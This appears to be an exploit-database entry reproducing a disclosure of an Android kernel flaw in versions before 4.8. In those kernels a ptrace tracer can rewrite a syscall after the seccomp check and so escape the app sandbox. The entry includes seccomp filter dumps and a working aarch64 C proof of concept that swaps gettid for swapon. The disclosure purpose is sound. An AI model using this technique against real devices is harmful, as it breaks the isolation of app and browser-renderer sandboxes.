Android Kernel < 4.8 - ptrace seccomp Filter Bypass
2019-02-20 19:05:17/*
The seccomp.2 manpage (http://man7.org/linux/man-pages/man2/seccomp.2.html) documents:
Before kernel 4.8, the seccomp check will not be run again
after the tracer is notified. (This means that, on older ker‐
nels, seccomp-based sandboxes must not allow use of
ptrace(2)—even of other sandboxed processes—without extreme
care; ptracers can use this mechanism to escape from the sec‐
comp sandbox.)
Multiple existing Android devices with ongoing security support (including Pixel 1 and Pixel 2) ship kernels older than that; therefore, in a context where ptrace works, seccomp policies that don't blacklist ptrace can not be considered to be security boundaries.
The zygote applies a seccomp sandbox to system_server and all app processes; this seccomp sandbox permits the use of ptrace:
================
===== filter 0 (164 instructions) =====
0001 if arch == AARCH64: [true +2, false +0]
[...]
0010 if nr >= 0x00000069: [true +1, false +0]
0012 if nr >= 0x000000b4: [true +17, false +16] -> ret TRAP
0023 ret ALLOW (syscalls: init_module, delete_module, timer_create, timer_gettime, timer_getoverrun, timer_settime, timer_delete, clock_settime, clock_gettime, clock_getres, clock_nanosleep, syslog, ptrace, sched_setparam, sched_setscheduler, sched_getscheduler, sched_getparam, sched_setaffinity, sched_getaffinity, sched_yield, sched_get_priority_max, sched_get_priority_min, sched_rr_get_interval, restart_syscall, kill, tkill, tgkill, sigaltstack, rt_sigsuspend, rt_sigaction, rt_sigprocmask, rt_sigpending, rt_sigtimedwait, rt_sigqueueinfo, rt_sigreturn, setpriority, getpriority, reboot, setregid, setgid, setreuid, setuid, setresuid, getresuid, setresgid, getresgid, setfsuid, setfsgid, times, setpgid, getpgid, getsid, setsid, getgroups, setgroups, uname, sethostname, setdomainname, getrlimit, setrlimit, getrusage, umask, prctl, getcpu, gettimeofday, settimeofday, adjtimex, getpid, getppid, getuid, geteuid, getgid, getegid, gettid, sysinfo)
0011 if nr >= 0x00000068: [true +18, false +17] -> ret TRAP
0023 ret ALLOW (syscalls: nanosleep, getitimer, setitimer)
[...]
002a if nr >= 0x00000018: [true +7, false +0]
0032 if nr >= 0x00000021: [true +3, false +0]
0036 if nr >= 0x00000024: [true +1, false +0]
0038 if nr >= 0x00000028: [true +106, false +105] -> ret TRAP
00a2 ret ALLOW (syscalls: sync, kill, rename, mkdir)
0037 if nr >= 0x00000022: [true +107, false +106] -> ret TRAP
00a2 ret ALLOW (syscalls: access)
0033 if nr >= 0x0000001a: [true +1, false +0]
0035 if nr >= 0x0000001b: [true +109, false +108] -> ret TRAP
00a2 ret ALLOW (syscalls: ptrace)
0034 if nr >= 0x00000019: [true +110, false +109] -> ret TRAP
00a2 ret ALLOW (syscalls: getuid)
[...]
================
The SELinux policy allows even isolated_app context, which is used for Chrome's renderer sandbox, to use ptrace:
================
# Google Breakpad (crash reporter for Chrome) relies on ptrace
# functionality. Without the ability to ptrace, the crash reporter
# tool is broken.
# b/20150694
# https://code.google.com/p/chromium/issues/detail?id=475270
allow isolated_app self:process ptrace;
================
Chrome applies two extra layers of seccomp sandbox; but these also permit the use of clone and ptrace:
================
===== filter 1 (194 instructions) =====
0001 if arch == AARCH64: [true +2, false +0]
[...]
0002 if arch != ARM: [true +0, false +60] -> ret TRAP
[...]
0074 if nr >= 0x0000007a: [true +1, false +0]
0076 if nr >= 0x0000007b: [true +74, false +73] -> ret TRAP
00c0 ret ALLOW (syscalls: uname)
0075 if nr >= 0x00000079: [true +75, false +74] -> ret TRAP
00c0 ret ALLOW (syscalls: fsync, sigreturn, clone)
[...]
004d if nr >= 0x0000001a: [true +1, false +0]
004f if nr >= 0x0000001b: [true +113, false +112] -> ret TRAP
00c0 ret ALLOW (syscalls: ptrace)
[...]
===== filter 2 (449 instructions) =====
0001 if arch != ARM: [true +0, false +1] -> ret TRAP
[...]
00b6 if nr < 0x00000019: [true +4, false +0] -> ret ALLOW (syscalls: getuid)
00b7 if nr >= 0x0000001a: [true +3, false +8] -> ret ALLOW (syscalls: ptrace)
01c0 ret TRAP
[...]
007f if nr >= 0x00000073: [true +0, false +5]
0080 if nr >= 0x00000076: [true +0, false +2]
0081 if nr < 0x00000079: [true +57, false +0] -> ret ALLOW (syscalls: fsync, sigreturn, clone)
[...]
================
Therefore, this not only breaks the app sandbox, but can probably also be used to break part of the isolation of a Chrome renderer process.
To test this, build the following file (as an aarch64 binary) and run it from app context (e.g. using connectbot):
================
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <linux/elf.h>
#include <asm/ptrace.h>
#include <sys/uio.h>
int main(void) {
setbuf(stdout, NULL);
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
pid_t my_pid = getpid();
while (1) {
errno = 0;
int res = syscall(__NR_gettid, 0, 0);
if (res != my_pid) {
printf("%d (%s)\n", res, strerror(errno));
}
}
}
sleep(1);
if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) err(1, "ptrace attach");
int status;
if (waitpid(child, &status, 0) != child) err(1, "wait for child");
if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) err(1, "ptrace syscall entry");
if (waitpid(child, &status, 0) != child) err(1, "wait for child");
int syscallno;
struct iovec iov = { .iov_base = &syscallno, .iov_len = sizeof(syscallno) };
if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace getregs");
printf("seeing syscall %d\n", syscallno);
if (syscallno != __NR_gettid) errx(1, "not gettid");
syscallno = __NR_swapon;
if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace setregs");
if (ptrace(PTRACE_DETACH, child, NULL, NULL)) err(1, "ptrace syscall");
kill(child, SIGCONT);
sleep(5);
kill(child, SIGKILL);
return 0;
}
/*
================
If the attack works, you'll see "-1 (Operation not permitted)", which indicates that the seccomp filter for swapon() was bypassed and the kernel's capability check was reached.
For comparison, the following (a straight syscall to swapon()) fails with SIGSYS:
================
#include <unistd.h>
#include <sys/syscall.h>
int main(void) {
syscall(__NR_swapon, 0, 0);
}
================
Attaching screenshot from connectbot.
I believe that a sensible fix would be to backport the behavior change that occured in kernel 4.8 to Android's stable branches.
*/
Fixes
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